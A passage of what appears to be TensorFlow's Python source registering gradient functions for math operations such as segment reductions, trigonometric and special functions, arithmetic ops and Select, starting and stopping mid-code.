math_ops.equal(op.inputs[0], gathered_outputs) is_selected = math_ops.logical_and(is_selected, is_positive) num_selected = math_ops.unsorted_segment_sum( math_ops.cast(is_selected, grad.dtype), op.inputs[1], op.inputs[2]) # Compute the gradient for each segment. The gradient for the ith segment is # divided evenly among the selected elements in that segment. weighted_grads = math_ops.divide(grad, num_selected) gathered_grads, _, _ = _GatherDropNegatives(weighted_grads, None, zero_clipped_indices, is_positive) zeros = array_ops.zeros_like(gathered_grads) return array_ops.where(is_selected, gathered_grads, zeros), None, None @ops.RegisterGradient("UnsortedSegmentSum") def _UnsortedSegmentSumGrad(op, grad): """Gradient for UnsortedSegmentSum.""" return _GatherDropNegatives(grad, op.inputs[1])[0], None, None @ops.RegisterGradient("UnsortedSegmentMax") def _UnsortedSegmentMaxGrad(op, grad): """ Gradient for UnsortedSegmentMax. """ return _UnsortedSegmentMinOrMaxGrad(op, grad) @ops.RegisterGradient("UnsortedSegmentMin") def _UnsortedSegmentMinGrad(op, grad): """ Gradient for UnsortedSegmentMin. """ return _UnsortedSegmentMinOrMaxGrad(op, grad) @ops.RegisterGradient("UnsortedSegmentProd") def _UnsortedSegmentProdGrad(op, grad): """ Gradient for UnsortedSegmentProd. The gradient can be expressed for each segment by dividing the segment's product by each element of the segment input tensor, but this approach can't deal with zeros in the input. Unlike reduce_prod we can't use cumsum here as individual segments may have a different number of elements. Therefore we consider three cases: 1) A segment input contains no zeros and we can safely divide by the input tensor. 2) A segment contains exactly one zero. Then the gradient of each input of the segment is zero except for the 0-input, there the gradient is the product of the remaining segment entries. 3) A segment contains at least two zeros. The gradient is zero for all segment inputs. """ # Note that unsorted_segment_sum will filter out the negative indices, # so we don't need to do a logical_and with is_positive here is_zero = math_ops.equal(op.inputs[0], 0) num_zeros = gen_math_ops.unsorted_segment_sum( math_ops.cast(is_zero, dtype=dtypes.int32), op.inputs[1], op.inputs[2]) # handle case 3 and set the gradient to 0 for segments with more than one # 0 as input grad = array_ops.where( math_ops.greater(num_zeros, 1), array_ops.zeros_like(grad), grad) # replace all zeros with ones and compute the unsorted_segment_prod non_zero_data = array_ops.where(is_zero, array_ops.ones_like(op.inputs[0]), op.inputs[0]) non_zero_prod = gen_math_ops.unsorted_segment_prod(non_zero_data, op.inputs[1], op.inputs[2]) # clip the indices for gather to be positive zero_clipped_indices = math_ops.maximum(op.inputs[1], array_ops.zeros_like(op.inputs[1])) gathered_prod = array_ops.gather(op.outputs[0], zero_clipped_indices) gathered_non_zero_prod = array_ops.gather(non_zero_prod, zero_clipped_indices) prod_divided_by_el = gathered_prod / op.inputs[0] # May contain nan/inf. # Now fetch the individual results for segments containing 0 and those that # don't. is_zero will also fetch results for entries with negative index # but the following gather_drop_negatives sets the corresponding entry in # grad to 0 for these partial_derivative = array_ops.where(is_zero, gathered_non_zero_prod, prod_divided_by_el) gathered_grad = _GatherDropNegatives(grad, op.inputs[1], zero_clipped_indices)[0] return gathered_grad * partial_derivative, None, None @ops.RegisterGradient("Abs") def _AbsGrad(op, grad): x = op.inputs[0] return grad * math_ops.sign(x) @ops.RegisterGradient("Neg") def _NegGrad(_, grad): """Returns -grad.""" return -grad @ops.RegisterGradient("Inv") def _InvGrad(op, grad): """Returns -grad * (1 / x^2).""" y = op.outputs[0] # y = 1 / x return gen_math_ops.reciprocal_grad(y, grad) @ops.RegisterGradient("Reciprocal") def _ReciprocalGrad(op, grad): """Returns -grad * (1 / x^2).""" y = op.outputs[0] # y = 1 / x return gen_math_ops.reciprocal_grad(y, grad) @ops.RegisterGradient("InvGrad") def _InvGradGrad(op, grad): b = op.inputs[1] # op.output[0]: y = -b * conj(a)^2 with ops.control_dependencies([grad]): ca = math_ops.conj(op.inputs[0]) cg = math_ops.conj(grad) return cg * -2.0 * b * ca, gen_math_ops.reciprocal_grad(ca, grad) @ops.RegisterGradient("ReciprocalGrad") def _ReciprocalGradGrad(op, grad): b = op.inputs[1] # op.output[0]: y = -b * conj(a)^2 with ops.control_dependencies([grad]): ca = math_ops.conj(op.inputs[0]) cg = math_ops.conj(grad) return cg * -2.0 * b * ca, gen_math_ops.reciprocal_grad(ca, grad) @ops.RegisterGradient("Square") def _SquareGrad(op, grad): x = op.inputs[0] # Added control dependencies to prevent 2*x from being computed too early. with ops.control_dependencies([grad]): x = math_ops.conj(x) y = constant_op.constant(2.0, dtype=x.dtype) return math_ops.multiply(grad, math_ops.multiply(x, y)) @ops.RegisterGradient("Sqrt") def _SqrtGrad(op, grad): y = op.outputs[0] # y = x^(1/2) return gen_math_ops.sqrt_grad(y, grad) @ops.RegisterGradient("SqrtGrad") def _SqrtGradGrad(op, grad): a = op.inputs[0] y = op.outputs[0] # y = 0.5 * b / conj(a) with ops.control_dependencies([grad]): if compat.forward_compatible(2019, 6, 14): ga = gen_math_ops.xdivy(grad, a) return -gen_math_ops.mul_no_nan(y, math_ops.conj(ga)), 0.5 * ga else: ga = grad / a return -math_ops.conj(ga) * y, 0.5 * ga @ops.RegisterGradient("Rsqrt") def _RsqrtGrad(op, grad): """Returns -0.5 * grad * conj(y)^3.""" y = op.outputs[0] # y = x^(-1/2) return gen_math_ops.rsqrt_grad(y, grad) @ops.RegisterGradient("RsqrtGrad") def _RsqrtGradGrad(op, grad): """Returns backprop gradient for f(a,b) = -0.5 * b * conj(a)^3.""" a = op.inputs[0] # a = x^{-1/2} b = op.inputs[1] # backprop gradient for a with ops.control_dependencies([grad]): ca = math_ops.conj(a) cg = math_ops.conj(grad) grad_a = -1.5 * cg * b * math_ops.square(ca) grad_b = gen_math_ops.rsqrt_grad(ca, grad) return grad_a, grad_b @ops.RegisterGradient("Exp") def _ExpGrad(op, grad): """Returns grad * exp(x).""" y = op.outputs[0] # y = e^x with ops.control_dependencies([grad]): y = math_ops.conj(y) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(y, grad) else: return grad * y @ops.RegisterGradient("Expm1") def _Expm1Grad(op, grad): """Returns grad * exp(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) y = math_ops.exp(x) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(y, grad) else: return grad * y @ops.RegisterGradient("Log") def _LogGrad(op, grad): """Returns grad * (1/x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) if compat.forward_compatible(2019, 6, 14): return gen_math_ops.xdivy(grad, x) else: return grad * math_ops.reciprocal(x) @ops.RegisterGradient("Log1p") def _Log1pGrad(op, grad): """Returns grad * (1/(1 + x)).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) if compat.forward_compatible(2019, 6, 14): return gen_math_ops.xdivy(grad, 1 + x) else: return grad * math_ops.reciprocal(1 + x) @ops.RegisterGradient("Xlogy") def _XLogyGrad(op, grad): """Returns gradient of xlogy(x, y) with respect to x and y.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) with ops.control_dependencies([grad]): not_zero_x = math_ops.cast( math_ops.not_equal(x, math_ops.cast(0., dtype=x.dtype)), dtype=x.dtype) partial_x = gen_math_ops.xlogy(not_zero_x, y) partial_y = gen_math_ops.xdivy(x, y) return (array_ops.reshape(math_ops.reduce_sum(partial_x * grad, rx), sx), array_ops.reshape(math_ops.reduce_sum(partial_y * grad, ry), sy)) @ops.RegisterGradient("Xdivy") def _XDivyGrad(op, grad): """Returns gradient of xdivy(x, y) with respect to x and y.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) with ops.control_dependencies([grad]): not_zero_x = math_ops.cast( math_ops.not_equal(x, math_ops.cast(0., dtype=x.dtype)), dtype=x.dtype) partial_x = gen_math_ops.xdivy(not_zero_x, y) partial_y = gen_math_ops.xdivy(math_ops.negative(x), y**2) return (array_ops.reshape(math_ops.reduce_sum(partial_x * grad, rx), sx), array_ops.reshape(math_ops.reduce_sum(partial_y * grad, ry), sy)) @ops.RegisterGradient("Sinh") def _SinhGrad(op, grad): """Returns grad * cosh(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) return grad * math_ops.cosh(x) @ops.RegisterGradient("Cosh") def _CoshGrad(op, grad): """Returns grad * sinh(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) return grad * math_ops.sinh(x) @ops.RegisterGradient("Tanh") def _TanhGrad(op, grad): """Returns grad * (1 - tanh(x) * tanh(x)).""" y = op.outputs[0] # y = tanh(x) with ops.control_dependencies([grad]): y = math_ops.conj(y) return gen_math_ops.tanh_grad(y, grad) @ops.RegisterGradient("Asinh") def _AsinhGrad(op, grad): """Returns grad * 1/cosh(y).""" y = op.outputs[0] with ops.control_dependencies([grad]): y = math_ops.conj(y) return grad / math_ops.cosh(y) @ops.RegisterGradient("Acosh") def _AcoshGrad(op, grad): """Returns grad * 1/sinh(y).""" y = op.outputs[0] with ops.control_dependencies([grad]): y = math_ops.conj(y) if compat.forward_compatible(2019, 6, 14): return math_ops.xdivy(grad, math_ops.sinh(y)) else: return grad / math_ops.sinh(y) @ops.RegisterGradient("Atanh") def _AtanhGrad(op, grad): """Returns grad * 1/ (1 - x^2).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) x2 = math_ops.square(x) one = constant_op.constant(1, dtype=grad.dtype) inv = math_ops.reciprocal(math_ops.subtract(one, x2)) return grad * inv @ops.RegisterGradient("TanhGrad") def _TanhGradGrad(op, grad): with ops.control_dependencies([grad]): a = math_ops.conj(op.inputs[0]) b = math_ops.conj(op.inputs[1]) return grad * -2.0 * b * a, gen_math_ops.tanh_grad(a, grad) @ops.RegisterGradient("Erf") def _ErfGrad(op, grad): """Returns grad * 2/sqrt(pi) * exp(-x**2).""" x = op.inputs[0] two_over_root_pi = constant_op.constant(2 / np.sqrt(np.pi), dtype=grad.dtype) with ops.control_dependencies([grad]): x = math_ops.conj(x) return grad * two_over_root_pi * math_ops.exp(-math_ops.square(x)) @ops.RegisterGradient("Erfc") def _ErfcGrad(op, grad): """Returns -grad * 2/sqrt(pi) * exp(-x**2).""" x = op.inputs[0] minus_two_over_root_pi = constant_op.constant( -2 / np.sqrt(np.pi), dtype=grad.dtype) with ops.control_dependencies([grad]): x = math_ops.conj(x) return grad * minus_two_over_root_pi * math_ops.exp(-math_ops.square(x)) @ops.RegisterGradient("Lgamma") def _LgammaGrad(op, grad): """Returns grad * digamma(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(math_ops.digamma(x), grad) else: return grad * math_ops.digamma(x) @ops.RegisterGradient("Digamma") def _DigammaGrad(op, grad): """Compute gradient of the digamma function with respect to its argument.""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) partial_x = math_ops.polygamma(array_ops.constant(1, dtype=x.dtype), x) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(partial_x, grad) else: return grad * partial_x @ops.RegisterGradient("BesselI0e") def _BesselI0eGrad(op, grad): """Compute gradient of bessel_i0e(x) with respect to its argument.""" x = op.inputs[0] y = op.outputs[0] with ops.control_dependencies([grad]): partial_x = (math_ops.bessel_i1e(x) - math_ops.sign(x) * y) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(partial_x, grad) else: return grad * partial_x @ops.RegisterGradient("BesselI1e") def _BesselI1eGrad(op, grad): """Compute gradient of bessel_i1e(x) with respect to its argument.""" x = op.inputs[0] y = op.outputs[0] with ops.control_dependencies([grad]): # For x = 0, the correct gradient is 0.5. # However, the main branch gives NaN because of the division by x, so # we impute the gradient manually. # An alternative solution is to express the gradient via bessel_i0e and # bessel_i2e, but the latter is not yet implemented in Eigen. eps = np.finfo(x.dtype.as_numpy_dtype).eps zeros = array_ops.zeros_like(x) x_is_not_tiny = math_ops.abs(x) > eps safe_x = array_ops.where(x_is_not_tiny, x, eps + zeros) dy_dx = math_ops.bessel_i0e(safe_x) - y * ( math_ops.sign(safe_x) + math_ops.reciprocal(safe_x)) dy_dx = array_ops.where(x_is_not_tiny, dy_dx, 0.5 + zeros) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(dy_dx, grad) else: return grad * dy_dx @ops.RegisterGradient("Igamma") def _IgammaGrad(op, grad): """Returns gradient of igamma(a, x) with respect to a and x.""" a = op.inputs[0] x = op.inputs[1] sa = array_ops.shape(a) sx = array_ops.shape(x) ra, rx = gen_array_ops.broadcast_gradient_args(sa, sx) with ops.control_dependencies([grad]): partial_a = gen_math_ops.igamma_grad_a(a, x) # Perform operations in log space before summing, because Gamma(a) # and Gamma'(a) can grow large. partial_x = math_ops.exp(-x + (a - 1) * math_ops.log(x) - math_ops.lgamma(a)) if compat.forward_compatible(2019, 6, 14): return (array_ops.reshape( math_ops.reduce_sum(math_ops.mul_no_nan(partial_a, grad), ra), sa), array_ops.reshape( math_ops.reduce_sum(math_ops.mul_no_nan(partial_x, grad), rx), sx)) else: return (array_ops.reshape(math_ops.reduce_sum(partial_a * grad, ra), sa), array_ops.reshape(math_ops.reduce_sum(partial_x * grad, rx), sx)) @ops.RegisterGradient("Igammac") def _IgammacGrad(op, grad): """Returns gradient of igammac(a, x) = 1 - igamma(a, x) w.r.t. a and x.""" igamma_grad_a, igamma_grad_x = _IgammaGrad(op, grad) return (-igamma_grad_a, -igamma_grad_x) @ops.RegisterGradient("Betainc") def _BetaincGrad(op, grad): """Returns gradient of betainc(a, b, x) with respect to x.""" # TODO(ebrevdo): Perhaps add the derivative w.r.t. a, b a, b, x = op.inputs # two cases: x is a scalar and a/b are same-shaped tensors, or vice # versa; so its sufficient to check against shape(a). sa = array_ops.shape(a) sx = array_ops.shape(x) _, rx = gen_array_ops.broadcast_gradient_args(sa, sx) # Perform operations in log space before summing, because terms # can grow large. log_beta = ( gen_math_ops.lgamma(a) + gen_math_ops.lgamma(b) - gen_math_ops.lgamma(a + b)) partial_x = math_ops.exp((b - 1) * math_ops.log(1 - x) + (a - 1) * math_ops.log(x) - log_beta) # TODO(b/36815900): Mark None return values as NotImplemented if compat.forward_compatible(2019, 6, 14): return ( None, # da None, # db array_ops.reshape( math_ops.reduce_sum(math_ops.mul_no_nan(partial_x, grad), rx), sx)) else: return ( None, # da None, # db array_ops.reshape(math_ops.reduce_sum(partial_x * grad, rx), sx)) @ops.RegisterGradient("Zeta") def _ZetaGrad(op, grad): """Returns gradient of zeta(x, q) with respect to x and q.""" # TODO(tillahoffmann): Add derivative with respect to x x = op.inputs[0] q = op.inputs[1] # Broadcast gradients sx = array_ops.shape(x) sq = array_ops.shape(q) unused_rx, rq = gen_array_ops.broadcast_gradient_args(sx, sq) # Evaluate gradient with ops.control_dependencies([grad]): x = math_ops.conj(x) q = math_ops.conj(q) partial_q = -x * math_ops.zeta(x + 1, q) # TODO(b/36815900): Mark None return values as NotImplemented if compat.forward_compatible(2019, 6, 14): return (None, array_ops.reshape( math_ops.reduce_sum(math_ops.mul_no_nan(partial_q, grad), rq), sq)) else: return (None, array_ops.reshape(math_ops.reduce_sum(partial_q * grad, rq), sq)) @ops.RegisterGradient("Polygamma") def _PolygammaGrad(op, grad): """Returns gradient of psi(n, x) with respect to n and x.""" # TODO(tillahoffmann): Add derivative with respect to n n = op.inputs[0] x = op.inputs[1] # Broadcast gradients sn = array_ops.shape(n) sx = array_ops.shape(x) unused_rn, rx = gen_array_ops.broadcast_gradient_args(sn, sx) # Evaluate gradient with ops.control_dependencies([grad]): n = math_ops.conj(n) x = math_ops.conj(x) partial_x = math_ops.polygamma(n + 1, x) # TODO(b/36815900): Mark None return values as NotImplemented if compat.forward_compatible(2019, 6, 14): return (None, array_ops.reshape( math_ops.reduce_sum(math_ops.mul_no_nan(partial_x, grad), rx), sx)) else: return (None, array_ops.reshape(math_ops.reduce_sum(partial_x * grad, rx), sx)) @ops.RegisterGradient("Sigmoid") def _SigmoidGrad(op, grad): """Returns grad * sigmoid(x) * (1 - sigmoid(x)).""" y = op.outputs[0] # y = sigmoid(x) with ops.control_dependencies([grad]): y = math_ops.conj(y) return gen_math_ops.sigmoid_grad(y, grad) @ops.RegisterGradient("SigmoidGrad") def _SigmoidGradGrad(op, grad): with ops.control_dependencies([grad]): a = math_ops.conj(op.inputs[0]) b = math_ops.conj(op.inputs[1]) gb = grad * b return gb - 2.0 * gb * a, gen_math_ops.sigmoid_grad(a, grad) @ops.RegisterGradient("Sign") def _SignGrad(op, _): """Returns 0.""" x = op.inputs[0] return array_ops.zeros(array_ops.shape(x), dtype=x.dtype) @ops.RegisterGradient("Sin") def _SinGrad(op, grad): """Returns grad * cos(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) return grad * math_ops.cos(x) @ops.RegisterGradient("Cos") def _CosGrad(op, grad): """Returns grad * -sin(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) return -grad * math_ops.sin(x) @ops.RegisterGradient("Tan") def _TanGrad(op, grad): """Returns grad * 1/sec^2(x).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) secx = math_ops.reciprocal(math_ops.cos(x)) secx2 = math_ops.square(secx) if compat.forward_compatible(2019, 6, 14): return math_ops.mul_no_nan(secx2, grad) else: return secx2 * grad @ops.RegisterGradient("Asin") def _AsinGrad(op, grad): """Returns grad * 1/sqrt(1-x^2).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) x2 = math_ops.square(x) one = constant_op.constant(1, dtype=grad.dtype) den = math_ops.sqrt(math_ops.subtract(one, x2)) if compat.forward_compatible(2019, 6, 14): return math_ops.xdivy(grad, den) else: inv = math_ops.reciprocal(den) return grad * inv @ops.RegisterGradient("Acos") def _AcosGrad(op, grad): """Returns grad * -1/sqrt(1-x^2).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) x2 = math_ops.square(x) one = constant_op.constant(1, dtype=grad.dtype) den = math_ops.sqrt(math_ops.subtract(one, x2)) if compat.forward_compatible(2019, 6, 14): return -math_ops.xdivy(grad, den) else: inv = math_ops.reciprocal(den) return -grad * inv @ops.RegisterGradient("Atan") def _AtanGrad(op, grad): """Returns grad * 1/ (1 + x^2).""" x = op.inputs[0] with ops.control_dependencies([grad]): x = math_ops.conj(x) x2 = math_ops.square(x) one = constant_op.constant(1, dtype=grad.dtype) inv = math_ops.reciprocal(math_ops.add(one, x2)) return grad * inv @ops.RegisterGradient("Atan2") def _Atan2Grad(op, grad): """Returns grad * x / (x^2 + y^2), grad * -y / (x^2 + y^2).""" y = op.inputs[0] x = op.inputs[1] with ops.control_dependencies([grad]): if compat.forward_compatible(2019, 6, 14): grad_inv = math_ops.xdivy(grad, (math_ops.square(x) + math_ops.square(y))) else: grad_inv = grad / (math_ops.square(x) + math_ops.square(y)) return x * grad_inv, -y * grad_inv @ops.RegisterGradient("AddN") def _AddNGrad(op, grad): """Copies the gradient to all inputs.""" # Not broadcasting. return [grad] * len(op.inputs) def _ShapesFullySpecifiedAndEqual(x, y, grad): # pylint: disable=protected-access x_shape = x._shape_tuple() y_shape = y._shape_tuple() grad_shape = grad._shape_tuple() # pylint: enable=protected-access return (x_shape == y_shape and x_shape == grad_shape and x_shape is not None and None not in x_shape) @ops.RegisterGradient("Add") def _AddGrad(op, grad): """Gradient for Add.""" y = op.inputs[1] skip_input_indices = None try: skip_input_indices = op.skip_input_indices if skip_input_indices is not None and 1 in skip_input_indices and _IsScalar( y): return grad, None except AttributeError: # No gradient skipping, so do the full gradient computation pass x = op.inputs[0] if (isinstance(grad, ops.Tensor) and _ShapesFullySpecifiedAndEqual(x, y, grad)): return grad, grad sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) if skip_input_indices is not None and 0 in skip_input_indices: gx = None else: gx = array_ops.reshape(math_ops.reduce_sum(grad, rx), sx) if skip_input_indices is not None and 1 in skip_input_indices: gy = None else: gy = array_ops.reshape(math_ops.reduce_sum(grad, ry), sy) return (gx, gy) @ops.RegisterGradient("Sub") def _SubGrad(op, grad): """Gradient for Sub.""" x = op.inputs[0] y = op.inputs[1] if (isinstance(grad, ops.Tensor) and _ShapesFullySpecifiedAndEqual(x, y, grad)): return grad, -grad sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) return (array_ops.reshape(math_ops.reduce_sum(grad, rx), sx), array_ops.reshape(-math_ops.reduce_sum(grad, ry), sy)) @ops.RegisterGradient("Mul") def _MulGrad(op, grad): """The gradient of scalar multiplication.""" x = op.inputs[0] y = op.inputs[1] if (isinstance(grad, ops.Tensor) and _ShapesFullySpecifiedAndEqual(x, y, grad) and grad.dtype in (dtypes.int32, dtypes.float32)): return gen_math_ops.mul(grad, y), gen_math_ops.mul(grad, x) assert x.dtype.base_dtype == y.dtype.base_dtype, (x.dtype, " vs. ", y.dtype) sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) x = math_ops.conj(x) y = math_ops.conj(y) return (array_ops.reshape( math_ops.reduce_sum(gen_math_ops.mul(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum(gen_math_ops.mul(x, grad), ry), sy)) @ops.RegisterGradient("MulNoNan") def _MulNoNanGrad(op, grad): """The gradient of scalar multiplication with NaN-suppression.""" x = op.inputs[0] y = op.inputs[1] if (isinstance(grad, ops.Tensor) and _ShapesFullySpecifiedAndEqual(x, y, grad)): return gen_math_ops.mul_no_nan(grad, y), gen_math_ops.mul_no_nan(x, grad) assert x.dtype.base_dtype == y.dtype.base_dtype, (x.dtype, " vs. ", y.dtype) sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) return (array_ops.reshape( math_ops.reduce_sum(gen_math_ops.mul_no_nan(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum(gen_math_ops.mul_no_nan(x, grad), ry), sy)) @ops.RegisterGradient("Div") def _DivGrad(op, grad): """The gradient for the Div operator.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) x = math_ops.conj(x) y = math_ops.conj(y) if compat.forward_compatible(2019, 6, 14): return (array_ops.reshape( math_ops.reduce_sum(math_ops.xdivy(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( math_ops.mul_no_nan( math_ops.divide(math_ops.divide(-x, y), y), grad), ry), sy)) else: return (array_ops.reshape( math_ops.reduce_sum(math_ops.divide(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( grad * math_ops.divide(math_ops.divide(-x, y), y), ry), sy)) @ops.RegisterGradient("FloorDiv") def _FloorDivGrad(_, unused_grad): """The gradient for the FloorDiv operator.""" return None, None @ops.RegisterGradient("FloorMod") def _FloorModGrad(op, grad): """Returns grad * (1, -floor(x/y)).""" x = math_ops.conj(op.inputs[0]) y = math_ops.conj(op.inputs[1]) sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) floor_xy = math_ops.floor_div(x, y) gx = array_ops.reshape(math_ops.reduce_sum(grad, rx), sx) gy = array_ops.reshape( math_ops.reduce_sum(grad * math_ops.negative(floor_xy), ry), sy) return gx, gy @ops.RegisterGradient("TruncateDiv") def _TruncateDivGrad(_, unused_grad): return None, None @ops.RegisterGradient("RealDiv") def _RealDivGrad(op, grad): """RealDiv op gradient.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) x = math_ops.conj(x) y = math_ops.conj(y) if compat.forward_compatible(2019, 6, 14): return (array_ops.reshape( math_ops.reduce_sum(math_ops.xdivy(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( math_ops.mul_no_nan( math_ops.realdiv(math_ops.realdiv(-x, y), y), grad), ry), sy)) else: return (array_ops.reshape( math_ops.reduce_sum(math_ops.realdiv(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( grad * math_ops.realdiv(math_ops.realdiv(-x, y), y), ry), sy)) @ops.RegisterGradient("DivNoNan") def _DivNoNanGrad(op, grad): """DivNoNan op gradient.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) x = math_ops.conj(x) y = math_ops.conj(y) if compat.forward_compatible(2019, 6, 14): return (array_ops.reshape( math_ops.reduce_sum(math_ops.div_no_nan(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( math_ops.mul_no_nan( math_ops.div_no_nan(math_ops.div_no_nan(-x, y), y), grad), ry), sy)) else: return (array_ops.reshape( math_ops.reduce_sum(math_ops.div_no_nan(grad, y), rx), sx), array_ops.reshape( math_ops.reduce_sum( grad * math_ops.div_no_nan(math_ops.div_no_nan(-x, y), y), ry), sy)) @ops.RegisterGradient("Pow") def _PowGrad(op, grad): """Returns grad * (y*x^(y-1), z*log(x)).""" x = op.inputs[0] y = op.inputs[1] z = op.outputs[0] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) x = math_ops.conj(x) y = math_ops.conj(y) z = math_ops.conj(z) if compat.forward_compatible(2019, 6, 14): gx = array_ops.reshape( math_ops.reduce_sum( gen_math_ops.mul_no_nan(y * math_ops.pow(x, y - 1), grad), rx), sx) else: gx = array_ops.reshape( math_ops.reduce_sum(grad * y * math_ops.pow(x, y - 1), rx), sx) # Avoid false singularity at x = 0 if x.dtype.is_complex: # real(x) < 0 is fine for the complex case mask = math_ops.not_equal(x, 0) else: # There's no sensible real value to return if x < 0, so return 0 mask = x > 0 safe_x = array_ops.where(mask, x, array_ops.ones_like(x)) log_x = array_ops.where(mask, math_ops.log(safe_x), array_ops.zeros_like(x)) if compat.forward_compatible(2019, 6, 14): gy = array_ops.reshape( math_ops.reduce_sum(gen_math_ops.mul_no_nan(z * log_x, grad), ry), sy) else: gy = array_ops.reshape(math_ops.reduce_sum(grad * z * log_x, ry), sy) return gx, gy def _MaximumMinimumGradInputOnly(op, grad, selector_op): x = op.inputs[0] y = op.inputs[1] zeros = array_ops.zeros_like(grad) xmask = selector_op(x, y) xgrad = array_ops.where(xmask, grad, zeros) ygrad = None # Return None for ygrad since the config allows that. return (xgrad, ygrad) def _MaximumMinimumGrad(op, grad, selector_op): """Factor out the code for the gradient of Maximum or Minimum.""" y = op.inputs[1] skip_input_indices = None try: skip_input_indices = op.skip_input_indices if skip_input_indices is not None and 1 in skip_input_indices and _IsScalar( y): # When we want to get gradients for the first input only, and the second # input tensor is a scalar, we can do a much simpler calculation return _MaximumMinimumGradInputOnly(op, grad, selector_op) except AttributeError: # No gradient skipping, so do the full gradient computation pass x = op.inputs[0] gdtype = grad.dtype sx = array_ops.shape(x) sy = array_ops.shape(y) gradshape = array_ops.shape(grad) zeros = array_ops.zeros(gradshape, gdtype) xmask = selector_op(x, y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) if skip_input_indices is not None and 0 in skip_input_indices: gx = None else: xgrad = array_ops.where(xmask, grad, zeros) gx = array_ops.reshape(math_ops.reduce_sum(xgrad, rx), sx) if skip_input_indices is not None and 1 in skip_input_indices: gy = None else: ygrad = array_ops.where(xmask, zeros, grad) gy = array_ops.reshape(math_ops.reduce_sum(ygrad, ry), sy) return (gx, gy) @ops.RegisterGradient("Maximum") def _MaximumGrad(op, grad): """Returns grad*(x > y, x <= y) with type of grad.""" return _MaximumMinimumGrad(op, grad, math_ops.greater_equal) @ops.RegisterGradient("Minimum") def _MinimumGrad(op, grad): """Returns grad*(x < y, x >= y) with type of grad.""" return _MaximumMinimumGrad(op, grad, math_ops.less_equal) @ops.RegisterGradient("SquaredDifference") def _SquaredDifferenceGrad(op, grad): """Returns the gradient for (x-y)^2.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) with ops.control_dependencies([grad]): # The parens ensure that if grad is IndexedSlices, it'll get multiplied by # Tensor (not a number like 2.0) which causes it to convert to Tensor. x_grad = math_ops.scalar_mul(2.0, grad) * (x - y) return (array_ops.reshape(math_ops.reduce_sum(x_grad, rx), sx), -array_ops.reshape(math_ops.reduce_sum(x_grad, ry), sy)) # Logical operations have no gradients. ops.NotDifferentiable("Less") ops.NotDifferentiable("LessEqual") ops.NotDifferentiable("Greater") ops.NotDifferentiable("GreaterEqual") ops.NotDifferentiable("Equal") ops.NotDifferentiable("ApproximateEqual") ops.NotDifferentiable("NotEqual") ops.NotDifferentiable("LogicalAnd") ops.NotDifferentiable("LogicalOr") ops.NotDifferentiable("LogicalNot") @ops.RegisterGradient("Select") def _SelectGrad(op, grad): c = op.inputs[0] x = op.inputs[1] zeros = array_ops.zeros_like(x) return (None, array_ops.where(c, grad, zeros), array_ops.where( c, zeros, grad)) @ops.RegisterGradient("SelectV2") def _SelectGradV2(op, grad): c = op.inputs[0] x = op.inputs[1] y = op.inputs[2] zeros = array_ops.zeros([], dtype=grad.dtype.base_dtype) gx = array_ops.where_v2(c, grad, zeros) gx_shape = array_ops.shape(gx) x_shape = array_ops.shape(x) rankdiff_x = array_ops.rank(gx) - array_ops.rank(x) # Reduce away broadcasted leading dims. gx = math_ops.reduce_sum(gx, axis=math_ops.range(rankdiff_x)) # Reduce but keep x's 1-valued dims which were broadcast. axis = 